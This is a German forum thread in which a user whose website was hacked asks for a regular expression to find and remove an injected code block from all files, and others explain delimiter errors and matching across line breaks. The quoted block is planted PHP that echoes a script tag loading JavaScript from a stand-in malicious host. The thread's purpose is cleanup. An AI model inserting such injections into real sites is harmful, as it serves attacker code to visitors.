regulärer Ausdruck in Suche

anmae

Erfahrenes Mitglied
Hallo,
Ich möchte ein Verzeichnis mit regulären Ausdrücken durchsuchen. Ich möchte in allen Dateien einen Ausdruch wie diesen finden und löchen:

PHP:
<?php
#10fd40#
if(empty($zbue)) {
$zbue = "<script src=\"http://www.eineboeseurl.com/wp-includes/nY5zL0XN.php?id=55706290\" type=\"text/javascript\"></script>";
echo $zbue;
}

#/10fd40#
?>

Ich verwende diesen (falschen) Ausdruck:
Code:
#[a-A0-9A-Z]+#(.*)#/[a-A0-9A-Z]+#

ich vermute, dass die Mitte zwischen den beiden ## falsch ist, ich bekomme es aber nicht hin, dass er auch Zeilenumbrüche etc. mit erkennt.


Und bevor jemand fragt: ja, ich wurde gehackt :(

Danke schon mal.
 
Hallo anmae,

wieso vermutest du das? Bekommst du eine Fehlermeldung?

In der Tat bekommst du wahrscheinlich eine, weil du das Trennzeichen des Regexes (das erste Zeichen, der sog. "Delimiter") auch mitten innerhalb des Regexes verwendest. PHP (bzw. PCRE) denkt dann, dass da der Regex schon aufhört, erwartet dann nur noch Modifier anstatt eine Fortführung des Regexes, was zu einem Syntaxfehler (innerhalb PCRE) führt.
 
Falls du diese zbue Variable matchen willst:

Code:
<script src=".+" type="text/javascript"></script>

Du musst nur aufpassen mit den Escapezeichen für die "
 
Das Problem scheint mir wirklich
#(.*)#
da ja im Prinzip jetzt jedes zeichen gesucht wird, du müsstest dort also deine # ausschließen.

Wenn im inneren Bereich eh nie ein # ist könntestes ja einfach mit
[^#]*
machen.

Ansonsten, in .Net kann man für die Captures namen vergeben und mit diesen gefundenen Capturenamen weiter suchen im Regex (sprich denn gefunden Match könnte man als vergleich heranziehen), weiß jetzt nicht ob sowas auch in PHP möglich wäre.
Wenn ja könnteste nämlich dein beginn Match 10fd40 ganz leicht als Endbedingung hernehmen.
 

Neue Beiträge

Zurück